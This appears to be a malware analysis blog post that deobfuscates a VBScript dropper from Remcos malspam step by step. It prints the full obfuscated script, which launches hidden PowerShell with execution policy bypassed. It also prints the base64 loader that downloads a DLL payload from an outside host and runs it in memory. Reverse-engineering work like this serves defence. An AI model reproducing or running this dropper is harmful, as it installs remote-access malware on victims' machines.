Summary
=========
Decided that I would take a crack at trying to deobfuscate the VBScript that was in a sample of Remcos malspam since I haven’t been doing it for a long while. The VBScript can be found over at Any.Run inside a zip file (malspam attachment). I’ll do a post going over the analysis in the coming days since it seems pretty straight forward.
The link to the scripts can be found at my Github.
NOTE: Wherever there is a “&” it is meant to be just the & symbol.
Analysis
=========
The script is a LONG one and was the first file that I have come across that caused some issues when trying to run commands like strings against it or when running it in CyberChef it just hung up several times. Most of the issues stem from the long repeating characters that are nothing but gibberish/obfuscation. Once you have cleaned the script up, it is pretty straight forward. Note the size of the original VBScript (Deposito de dinero en cuenta corriente empresarial 6000_vbs – 822KB) versus the cleaned up one (Deposito de dinero en cuenta corriente empresarial 6000.vbs-cleanup.txt – 6KB).
'Update 7/05/2022 'Update 7/05/2022 On Error Resume Next 'Garbage function - not used Function QtNlM UNoIb = " = " LRgO = LRgO + "cuGN(UJwL, PmPg)" exec(Aoyb) End Function Function qUOt(KxUL,PmPg,llXf) dim erLL erLL = "qUOt = " erLL = erLL + "Replace" erLL = erLL + "(KxUL ,PmPg, llXf)" execute(erLL) End Function Function WDQy(KxUL) dim erLL erLL = "WDQy = " erLL = erLL + "SLhDitrLhDiRevLhDierse" erLL = qUOt(erLL,"LhDi","") erLL = erLL + "(KxUL)" execute(erLL) End Function dim TqIp TqIp = " " dim hGvL hGvL = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /" dim AaSS AaSS = WDQy(=AQKAkCAgAwJAMHA0Bw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AMHApBwbAcEAnAAIAwCAgAQeAAHAvBwQAEGAkBwbAIFAkAAIAwCAgAwJAgGA0BAdAAHAzBgOA8CAvAAcAEGAzBAdA☈☈☈GApBwbA4CAjBwbA0GAvAA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GA3BgbAwGAvBQYAQGAvAAeAgFA3BwRA☈☈☈HAyAwVAgGAEBgMAcGAtBwJAgCAgAQXA0FAbBAdAMGAlBgaAIGAvBwWAACAsAAbAwGA1BgbAQCAoAQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AsGAvBgdA4GAJBgLAkCAnAgYAIGAEBQaAMFAzBARA☈☈☈FAnAAKAQGAvBAaAQHAlBQTAQHAlBwRA4CApAwJAcGAVBgeA0GA5BAbAcEAVBgLAoFAOBQdAsGALBgdAsEA4BwJAgCAlBAcAkHA☈☈☈BAdA☈☈☈GAHBgLAkCAMBATAQEAkAAKAQGAhBwbAwEAuAgbAkGAhBQbA8GAEBAdA4GAlBgcAIHA1BwQAoDA6AQXA4GApBQYA0GAvBARAAHAwBQQA4CAtBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AQHAzBQeAMFAbBwOAkCApAwJAQHA4BAdA4CAsBAbAQEAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBwLAwGAsBARA8CA0BwcA☈☈☈GA1BQcA4CAzBAcAcHAvAwLAoDAzBAcAQHA0BAaAcCAoAw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4GApBgcAQHATBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AEGAvBAbA4GA3BwbAQEAuAQKAQHAuBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AkGAsBwQAIGAlBwVA4CA0BQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4EAgAAdAMGAlBgaAIGAPBQLAcHAlBgTAgCAoAw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4GApBgcAQHATBANAYDAlBwcAEGACBQbA8GAyBgRAoDA6AQXAQHAyBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AYHAuBwbAMEAuAQbA☈☈☈GA0BwcAkHATBwWAACA9AAIAwEAMBARAQCAgAQXA0FAbBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AQHA5BgQAsFA7AwJA☈☈☈CAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBAcA☈☈☈HA0BgcAEGA0Bw☈☈☈AkHAwBwbAMEAlAwJAACA9AAIAkHAwBwbAMEAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBAJ) AaSS = qUOt( AaSS, hGvL + TqIp + hGvL , "Z") di ytwZ ytwZ = WDQy("' = mqUi$") & AaSS & "'" ytwZ = ytwZ & ";$OWjuxD = [System.Text.Encoding]::Unicode.GetString( " ytwZ = ytwZ & "[System.Convert]::FromBase64String( $iUqm.replace('☈☈☈','U') ) )" ytwZ = ytwZ & qUOt( ";$OWjuxD = $OWjuxD.replace('%CopyStartupRoda%', '" & WScript.ScriptFullName & "');po;wers;hell.;exe -windo;wstyle hi;dden -Execut;ionPolicy Byp;ss -NoP;rofile -Com;mand $OW;juxD" &; "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" , "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt", "") dim erPm erPm = "" ytwZ = ( qUOt(ytwZ, erPm + ";" + erPm, "") ) set GMUi = CreateObject("WScript.Shell") GMUi.Run( "powershell -command " & (ytwZ) ), 0, false
As seen above, the script itself has 3 functions, 2 of which are actually used (the function “QtNlM” is not used and added as a layer of obfuscation) and then the code that gets executed calling the 2 functions. Stepping through the code and seeing what the functions actually did and where they were called actually made going through this exercise a lot easier. That version can be found below with some simple comments and also the first large blob with the values from the variables already in it.
dim TqIp TqIp = " " dim hGvL hGvL = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /" dim AaSS AaSS = WDQy(=AQKAkCAgAwJAMHA0Bw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AMHApBwbAcEAnAAIAwCAgAQeAAHAvBwQAEGAkBwbAIFAkAAIAwCAgAwJAgGA0BAdAAHAzBgOA8CAvAAcAEGAzBAdA☈☈☈GApBwbA4CAjBwbA0GAvAA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GA3BgbAwGAvBQYAQGAvAAeAgFA3BwRA☈☈☈HAyAwVAgGAEBgMAcGAtBwJAgCAgAQXA0FAbBAdAMGAlBgaAIGAvBwWAACAsAAbAwGA1BgbAQCAoAQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AsGAvBgdA4GAJBgLAkCAnAgYAIGAEBQaAMFAzBARA☈☈☈FAnAAKAQGAvBAaAQHAlBQTAQHAlBwRA4CApAwJAcGAVBgeA0GA5BAbAcEAVBgLAoFAOBQdAsGALBgdAsEA4BwJAgCAlBAcAkHA☈☈☈BAdA☈☈☈GAHBgLAkCAMBATAQEAkAAKAQGAhBwbAwEAuAgbAkGAhBQbA8GAEBAdA4GAlBgcAIHA1BwQAoDA6AQXA4GApBQYA0GAvBARAAHAwBQQA4CAtBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AQHAzBQeAMFAbBwOAkCApAwJAQHA4BAdA4CAsBAbAQEAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBwLAwGAsBARA8CA0BwcA☈☈☈GA1BQcA4CAzBAcAcHAvAwLAoDAzBAcAQHA0BAaAcCAoAw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4GApBgcAQHATBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AEGAvBAbA4GA3BwbAQEAuAQKAQHAuBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AkGAsBwQAIGAlBwVA4CA0BQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4EAgAAdAMGAlBgaAIGAPBQLAcHAlBgTAgCAoAw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4GApBgcAQHATBANAYDAlBwcAEGACBQbA8GAyBgRAoDA6AQXAQHAyBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AYHAuBwbAMEAuAQbA☈☈☈GA0BwcAkHATBwWAACA9AAIAwEAMBARAQCAgAQXA0FAbBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AQHA5BgQAsFA7AwJA☈☈☈CAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBAcA☈☈☈HA0BgcAEGA0Bw☈☈☈AkHAwBwbAMEAlAwJAACA9AAIAkHAwBwbAMEAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBAJ) #This function does a string reverse on anything that is passed to it, 1 argument being passed to the function Function WDQy(KxUL) dim erLL erLL = "WDQy = " erLL = erLL + "SLhDitrLhDiRevLhDierse" erLL = qUOt(erLL,"LhDi","") #This function is doing a string replace on the text that is passed to it, 3 arguments being passed to the function Function qUOt(KxUL,PmPg,llXf) dim erLL erLL = "qUOt = " erLL = erLL + "Replace" erLL = erLL + "(KxUL ,PmPg, llXf)" execute(erLL) End Function erLL = erLL + "(KxUL)" execute(erLL) End Function AaSS = qUOt( AaSS, hGvL + TqIp + hGvL , "Z") #This function is doing a string replace on the text that is passed to it, 3 arguments being passed to the function Function qUOt(KxUL,PmPg,llXf) dim erLL erLL = "qUOt = " erLL = erLL + "Replace" erLL = erLL + "(KxUL ,PmPg, llXf)" execute(erLL) End Function di ytwZ ytwZ = WDQy("' = mqUi$") & AaSS & "'" #This function does a string reverse on anything that is passed to it, 1 argument being passed to the function Function WDQy(KxUL) dim erLL erLL = "WDQy = " erLL = erLL + "SLhDitrLhDiRevLhDierse" erLL = qUOt(erLL,"LhDi","") #This function is doing a string replace on the text that is passed to it, 3 arguments being passed to the function Function qUOt(KxUL,PmPg,llXf) dim erLL erLL = "qUOt = " erLL = erLL + "Replace" erLL = erLL + "(KxUL ,PmPg, llXf)" execute(erLL) End Function erLL = erLL + "(KxUL)" execute(erLL) End Function ytwZ = ytwZ & ";$OWjuxD = [System.Text.Encoding]::Unicode.GetString( " ytwZ = ytwZ & "[System.Convert]::FromBase64String( $iUqm.replace('☈☈☈','U') ) )" ytwZ = ytwZ & qUOt( ";$OWjuxD = $OWjuxD.replace('%CopyStartupRoda%', '" & WScript.ScriptFullName & "');po;wers;hell.;exe -windo;wstyle hi;dden -Execut;ionPolicy Byp;ss -NoP;rofile -Com;mand $OW;juxD" & "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" , "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt", "") #This function is doing a string replace on the text that is passed to it, 3 arguments being passed to the function Function qUOt(KxUL,PmPg,llXf) dim erLL erLL = "qUOt = " erLL = erLL + "Replace" erLL = erLL + "(KxUL ,PmPg, llXf)" execute(erLL) End Function dim erPm erPm = "" ytwZ = ( qUOt(ytwZ, erPm + ";" + erPm, "") ) #This function is doing a string replace on the text that is passed to it, 3 arguments being passed to the function Function qUOt(KxUL,PmPg,llXf) dim erLL erLL = "qUOt = " erLL = erLL + "Replace" erLL = erLL + "(KxUL ,PmPg, llXf)" execute(erLL) End Function set GMUi = CreateObject("WScript.Shell") GMUi.Run( "powershell -command " & (ytwZ) ), 0, false
Stepping through the code it is easily seen that at the start of the script some variables are defined and the data is assigned to the “$AaSS” variable.
AaSS = WDQy(=AQKAkCAgAwJAMHA0Bw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AMHApBwbAcEAnAAIAwCAgAQeAAHAvBwQAEGAkBwbAIFAkAAIAwCAgAwJAgGA0BAdAAHAzBgOA8CAvAAcAEGAzBAdA☈☈☈GApBwbA4CAjBwbA0GAvAA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GA3BgbAwGAvBQYAQGAvAAeAgFA3BwRA☈☈☈HAyAwVAgGAEBgMAcGAtBwJAgCAgAQXA0FAbBAdAMGAlBgaAIGAvBwWAACAsAAbAwGA1BgbAQCAoAQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AsGAvBgdA4GAJBgLAkCAnAgYAIGAEBQaAMFAzBARA☈☈☈FAnAAKAQGAvBAaAQHAlBQTAQHAlBwRA4CApAwJAcGAVBgeA0GA5BAbAcEAVBgLAoFAOBQdAsGALBgdAsEA4BwJAgCAlBAcAkHA☈☈☈BAdA☈☈☈GAHBgLAkCAMBATAQEAkAAKAQGAhBwbAwEAuAgbAkGAhBQbA8GAEBAdA4GAlBgcAIHA1BwQAoDA6AQXA4GApBQYA0GAvBARAAHAwBQQA4CAtBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AQHAzBQeAMFAbBwOAkCApAwJAQHA4BAdA4CAsBAbAQEAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBwLAwGAsBARA8CA0BwcA☈☈☈GA1BQcA4CAzBAcAcHAvAwLAoDAzBAcAQHA0BAaAcCAoAw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4GApBgcAQHATBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AEGAvBAbA4GA3BwbAQEAuAQKAQHAuBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AkGAsBwQAIGAlBwVA4CA0BQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4EAgAAdAMGAlBgaAIGAPBQLAcHAlBgTAgCAoAw & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A4GApBgcAQHATBANAYDAlBwcAEGACBQbA8GAyBgRAoDA6AQXAQHAyBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AYHAuBwbAMEAuAQbA☈☈☈GA0BwcAkHATBwWAACA9AAIAwEAMBARAQCAgAQXA0FAbBQ & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & AQHA5BgQAsFA7AwJA☈☈☈CAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBAcA☈☈☈HA0BgcAEGA0Bw☈☈☈AkHAwBwbAMEAlAwJAACA9AAIAkHAwBwbAMEAhBA & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / & A8GASBAJ)
Out of the gate the data in the variable “$AaSS” gets sent to the function called “WDQy” which is expecting only 1 argument (“KxUL”) which also calls the function “qUOt” which expects 3 arguments (KxUL,PmPg,llXf).
Function WDQy(KxUL) dim erLL erLL = "WDQy = " erLL = erLL + "SLhDitrLhDiRevLhDierse" erLL = qUOt(erLL,"LhDi","") Function qUOt(KxUL,PmPg,llXf) dim erLL erLL = "qUOt = " erLL = erLL + "Replace" erLL = erLL + "(KxUL ,PmPg, llXf)" execute(erLL) End Function erLL = erLL + "(KxUL)" execute(erLL) End Function
Function “WDQy” appends an equal sign to itself and the string “SLhDitrLhDiRevLhDierse” to the variable “erLL”. It then passes all of this to the “qUOt” function. This function has 3 arguments – erLL which is the large blog, the string of “LhDi”, and a NULL in the form of “”. In the “qUOt” function, it appends the ” = ” sign, and the string “Replace” to “erLL”. It then appends all the arguments that were passed to it initially and finally executes the REPLACE function; in this case the string “LhDi” gets replaced with NULL. The “qUOt” function proceeds to pass that blob back to the “WDQy” function in the “erLL” variable which then performs the “String Reverse” in these two lines:
erLL = erLL + "(KxUL)" execute(erLL)
The following is what got assigned back to the variable “AaSS” (I have removed the ‘&’ and also added the data found in variables “TqIp” and “hGvL” for ease of reading):
= JABSAG8A/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /ABhAEMAbwBwAHkAIAA9ACAAJwAlAEMAbwBwAHkA☈☈☈wB0AGEAcgB0AH☈☈☈AcABSAG8A/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /ABhAC☈☈☈AJwA7AFsAQgB5AHQA/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /QBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBTAHkAcwB0AG☈☈☈AbQAuAEMAbwBuAHYA/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /QByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4A/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /wAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4A/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /QB0AC4AVwBlAGIAQwBsAGkA/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /QBuAHQAKQAuAEQAbwB3AG4AbABvAGEA/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /ABTAHQAcgBpAG4A/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /wAoACcAaAB0AHQAcABzADoALwAvAHcAcABzAC4AcQB1AG☈☈☈AcwB0AC8ARABsAGwALwBSAG8A/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /ABhAEQAbABsAC4AdAB4AHQAJwApACkAOwBbAFMAeQBzAHQA/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /QBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG☈☈☈AdAB☈☈☈AHkAcABlACgAJwB4AEsAdgBLAGsAdQBOAFoALgBVAEcAbAB5AG0AegBVAGcAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAF☈☈☈ARABzAFMAaQBEAGIAYgAnACkALgBJAG4AdgBvAGsA/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /QAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwBtAGcAMgBEAGgAVwAyAH☈☈☈ARwB3AFgAeAAvAGQAYQBvAGwAbgB3AG8A/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /AAvAG0AbwBjAC4AbwBpAG☈☈☈AdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAEcAbwBpAHMA/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /wB0AHMAJwAgACkAKQA=
NOTE: ALL base64 encoded commands starts with “JAB” in the front.
In the next line of code that gets executed we see the following:
AaSS = qUOt( AaSS, hGvL + TqIp + hGvL , “Z”)
We can see that the original blob calls the function “qUOt” and passes 3 arguments. Since we know that this function does a string replace, it is looking for the string of “/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ / / ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /” and replaces it with the letter “Z”. This is what the variable “AaSS” is once the Replace function is done.
= JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEMAbwBwAHkA☈☈☈wB0AGEAcgB0AH☈☈☈AcABSAG8AZABhAC☈☈☈AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBTAHkAcwB0AG☈☈☈AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAcABzAC4AcQB1AG☈☈☈AcwB0AC8ARABsAGwALwBSAG8AZABhAEQAbABsAC4AdAB4AHQAJwApACkAOwBbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG☈☈☈AdAB☈☈☈AHkAcABlACgAJwB4AEsAdgBLAGsAdQBOAFoALgBVAEcAbAB5AG0AegBVAGcAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAF☈☈☈ARABzAFMAaQBEAGIAYgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwBtAGcAMgBEAGgAVwAyAH☈☈☈ARwB3AFgAeAAvAGQAYQBvAGwAbgB3AG8AZAAvAG0AbwBjAC4AbwBpAG☈☈☈AdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAEcAbwBpAHMAZwB0AHMAJwAgACkAKQA=
In the next two lines we can see that the variable “ytwZ” has been declared and that the function “WDQy” has been called while adding some string characters in the front of “AaSS” and also appending a single quote (‘) to the end.
di ytwZ ytwZ = WDQy("' = mqUi$") & AaSS & "'"
Since we know how this function works this is fairly simple to run through. One thing to note here is that ONLY the string “‘ = mqUi$” is being reversed. In the end we get the following blob back which has been assigned to the variable “ytwZ”.
Before ------------ ' = mqUi$= JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEMAbwBwAHkA☈☈☈wB0AGEAcgB0AH☈☈☈AcABSAG8AZABhAC☈☈☈AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBTAHkAcwB0AG☈☈☈AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAcABzAC4AcQB1AG☈☈☈AcwB0AC8ARABsAGwALwBSAG8AZABhAEQAbABsAC4AdAB4AHQAJwApACkAOwBbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG☈☈☈AdAB☈☈☈AHkAcABlACgAJwB4AEsAdgBLAGsAdQBOAFoALgBVAEcAbAB5AG0AegBVAGcAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAF☈☈☈ARABzAFMAaQBEAGIAYgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwBtAGcAMgBEAGgAVwAyAH☈☈☈ARwB3AFgAeAAvAGQAYQBvAGwAbgB3AG8AZAAvAG0AbwBjAC4AbwBpAG☈☈☈AdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAEcAbwBpAHMAZwB0AHMAJwAgACkAKQA=' After ------------ $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEMAbwBwAHkA☈☈☈wB0AGEAcgB0AH☈☈☈AcABSAG8AZABhAC☈☈☈AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBTAHkAcwB0AG☈☈☈AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAcABzAC4AcQB1AG☈☈☈AcwB0AC8ARABsAGwALwBSAG8AZABhAEQAbABsAC4AdAB4AHQAJwApACkAOwBbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG☈☈☈AdAB☈☈☈AHkAcABlACgAJwB4AEsAdgBLAGsAdQBOAFoALgBVAEcAbAB5AG0AegBVAGcAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAF☈☈☈ARABzAFMAaQBEAGIAYgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwBtAGcAMgBEAGgAVwAyAH☈☈☈ARwB3AFgAeAAvAGQAYQBvAGwAbgB3AG8AZAAvAG0AbwBjAC4AbwBpAG☈☈☈AdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAEcAbwBpAHMAZwB0AHMAJwAgACkAKQA='
The next two lines do a couple of things:
- Appends more information to the blob in “ytwZ” to help build out the script.
- Performs a REPLACE function replacing all instances of “☈☈☈” with “U” to make it a valid base64 encoding.
ytwZ = ytwZ & ";$OWjuxD = [System.Text.Encoding]::Unicode.GetString( " ytwZ = ytwZ & "[System.Convert]::FromBase64String( $iUqm.replace('☈☈☈','U') ) )"
Note: You can use CyberChef here to decode the base64 (once the “☈☈☈” have been removed) or use PoSH via “write-host $OWjuxD” in the ISE.
